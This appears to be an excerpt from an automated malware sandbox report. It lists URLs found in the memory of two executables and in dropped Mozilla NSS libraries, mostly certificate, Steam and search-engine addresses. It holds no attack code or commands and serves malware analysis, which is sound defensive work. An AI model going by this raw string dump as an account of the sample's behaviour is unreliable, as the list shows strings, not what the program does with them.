Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2522999551.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2515671828.000000001D2A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2522825623.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Reporting and NEL.10.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 0e09cae2-b3ca-49c8-af40-a29526af4444.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 28d9ab8742.exe, 0000001F.00000002.3051651389.00000000017BC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7
Source: 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfc9%
Source: 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfm3/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2518810297.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875512562.0000000000CEC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3007244384.0000000005EA5000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3009195039.0000000005EA6000.00000004.00000800.00020000.00000000.sdmp, BKJKJEHJJDAKECBFCGID.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2518810297.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875512562.0000000000CEC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3007244384.0000000005EA5000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3009195039.0000000005EA6000.00000004.00000800.00020000.00000000.sdmp, BKJKJEHJJDAKECBFCGID.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: 28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2973952651.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.W
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2358800633.000000002327D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2848879088.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2980327399.0000000005ED9000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2979808969.0000000005EE1000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr, ECGDBAEH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2358800633.000000002327D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2848879088.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2980327399.0000000005ED9000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2979808969.0000000005EE1000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr, ECGDBAEH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowere
Source: 28d9ab8742.exe, 0000001A.00000003.2973952651.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 0e09cae2-b3ca-49c8-af40-a29526af4444.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: 0e09cae2-b3ca-49c8-af40-a29526af4444.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fa
Source: 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.c
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=h6HMV-M6cfAX&a
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=1Zpka7DM_TWk&l=english
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=qM6wpZLwO_gf&amp
Source: 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=engli
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=g2Zx7e0yBV_M&l=english
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=ftiDdX_V0QeB&l=englis
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.00000000017BC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
